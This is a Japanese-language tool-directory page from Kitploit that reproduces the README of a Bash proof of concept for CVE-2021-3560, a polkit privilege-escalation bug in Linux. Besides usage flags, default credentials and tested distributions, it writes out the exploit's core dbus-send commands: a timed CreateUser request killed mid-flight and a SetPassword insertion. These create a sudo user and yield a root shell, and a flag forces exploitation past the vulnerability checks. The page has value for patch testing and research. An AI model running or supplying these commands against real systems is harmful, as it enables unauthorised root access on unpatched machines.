Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — CVE-2021-3560 polkit 権限昇格のための自動化された Bash PoC。dbus のタイミング競合状態を悪用して、sudo ユーザーを作成し、脆弱な Linux ディストリビューション上で root シェルを取得します。 | Kitploit
ツール/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
特権昇格脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテストレッドチーミング
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

CVE-2021-3560 polkit 権限昇格のための自動化された Bash PoC。dbus のタイミング競合状態を悪用して、sudo ユーザーを作成し、脆弱な Linux ディストリビューション上で root シェルを取得します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
24ヶ月前未レビュー

CVE-2021-3560-Polkit-権限昇格 PoC

Kevin Backhouseの元の研究

これはKevin Backhouseのブログで述べられている悪用手順を自動化するBash PoCスクリプトです。 この脆弱性に関する彼の記事を読む: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

使用方法

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

注意点:

  • このエクスプロイトは、accountsserviceとgnome-control-centerがインストールされたディストリビューションでのみ動作し、polkitバージョン0.113(以降)または0-105-26(Debian版のpolkit)がインストールされている必要があります。
  • このエクスプロイトは、Ubuntu 20.04(polkitバージョン0-105-26、Debian版)およびCentos 8(polkitバージョン0.115)でテストされています。対象が脆弱であると確信しているが、エクスプロイトのチェック機能が失敗する場合は、-f=yフラグを使用してすべてのチェックをバイパスし、エクスプロイトを強制できます。
  • RHEL 8、Fedora 21、Debian testing("bullseye")、Ubuntu 20.04などのディストリビューションが脆弱であることが判明しています。
  • ディストリビューションの互換性リストはKevinのブログにあります。

エクスプロイトの仕組み

詳細な手動エクスプロイトの説明とPoCは、研究者のブログに詳細に記載されています。

このエクスプロイトのTL;DRは以下の通りです:

  • この攻撃には正確なタイミングが必要であり、SSH(またはグラフィカルアプリケーションを開けないコマンドラインセッション)経由でログインする必要があります。
  • 攻撃者は、polkitがリクエストを処理中にdbusメッセージを送信してpolkitをトリガーし、リクエストを突然閉じることでこの脆弱性を悪用できます。その後、攻撃者は前のリクエストのユニークなバス識別子を使用して2番目のリクエストを送信し、UID 0(別名root)としてリクエストを実行できます。
  • この脆弱性は、polkitが存在しなくなったバス識別子を持つ接続のUIDをUID 0からのリクエストとして扱うために存在します。つまり、攻撃のタイミングを正しく合わせ、最初のリクエストを適切な瞬間に終了できれば、2番目のリクエストをUID 0(別名root)の権限で実行できます。
  • 接続を終了するタイミングは、dbusメッセージの送信に必要な時間/2として計算されます。詳細はこちらで説明されています。

このスクリプトは実際に何をするのか?

先ほど述べたように、これはKevin BackhouseのPoCを自動化するbashスクリプトです。コアコマンドは同じですが、いくつかの初期ステップ(タイミングの調整、脆弱性のスキャン、カスタム認証情報の挿入、カラー表示など)を自動化しています。

このスクリプトがパラメータなしで実行された場合のデフォルトの動作は以下の通りです:

  • ディストリビューションタイプを確認します。[/etc/os-releaseファイルを使用]
  • accountserviceとgnome-control-centerのインストールを確認します。[rhel/centos/fedoraではrpm -qa、debian/ubuntuディストリビューションではdpkg -lを使用]
  • インストールが見つかった場合、スクリプトはpolkitのバージョンを確認します。[rhel.centos,fedoraでは0.113(以降)、Debian/Ubuntuでは0-105-26]
  • polkitのバージョンが脆弱であると判断された場合、スクリプトはエクスプロイトを開始します。
  • 最初に、スクリプトは次のコマンドを発行してdebus-sendを使用したリクエスト送信に必要な時間を求めます: bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
  • 次に、リクエストを終了する時間($t)を、リクエストに必要な時間を2で割って計算します。()[awkを使用して計算]
ツールをダウンロード
  • このスクリプトはsudoグループに新しいユーザーを追加します。エクスプロイトが成功した場合、スクリプトに指定したパスワードを使用してsu - <username>でアカウントにログインし、sudo bashを実行してrootシェルを取得できます!
  • この攻撃は正確なタイミングに依存するため、このエクスプロイトが機能するには通常、複数回の試行が必要です。
  • 警告: グラフィカルログイン環境でこのスクリプトを実行しないでください!
  • このスクリプトをグラフィカルログイン環境で実行すると、ポリキット認証ポップアップが繰り返し表示されます。したがって、このエクスプロイトはSSH/NCシェル内でのみ実行してください。
  • もしそのような状態になった場合は、Escキーを押して認証プロンプトを閉じ、Ctrl+Cでスクリプトをすばやく終了してください。
  • $t=time-required-to-request/2
  • 時間($t)が計算された後、ターゲットに$username secnigmaを挿入するリクエストが20回繰り返されます。 bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • ユーザーの挿入が成功した場合(id secnigmaで確認)、パスワードハッシュが生成されます[bash openssl passwd -5 `echo -n $password` を使用]。($password=secnigmaftw)
  • 次に、パスワードハッシュ挿入コマンドが20回実行されます。 bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!